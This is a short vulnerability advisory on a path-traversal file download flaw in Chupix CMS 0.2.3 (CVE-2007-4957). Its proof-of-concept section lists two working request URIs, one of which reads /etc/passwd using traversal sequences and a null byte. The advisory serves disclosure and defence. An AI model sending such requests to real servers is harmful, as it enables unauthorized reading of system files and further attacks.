Chupix CMS download.php Arbitrary File Download Vulnerability

BID:25681

Info

Chupix CMS download.php Arbitrary File Download Vulnerability

Bugtraq ID: 25681
Class: Input Validation Error
CVE: CVE-2007-4957
Remote: Yes
Local: No
Published: Sep 15 2007 12:00AM
Updated: May 07 2015 05:35PM
Credit: GolD_M is credited with the discovery of this vulnerability.
Vulnerable: Chupix CMS Chupix CMS 0.2.3
Not Vulnerable:

Discussion

Chupix CMS download.php Arbitrary File Download Vulnerability

Chupix CMS is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the webserver process. Information obtained may aid in further attacks.

This issue affects Chupix CMS 0.2.3; other versions may also be vulnerable.

Exploit / POC

Chupix CMS download.php Arbitrary File Download Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

/download.php?repertoire=defaut&fichier=../../download.php
/download.php?fichier=../../../../../../../etc/passwd%00

Solution / Fix

Chupix CMS download.php Arbitrary File Download Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Chupix CMS download.php Arbitrary File Download Vulnerability

References:
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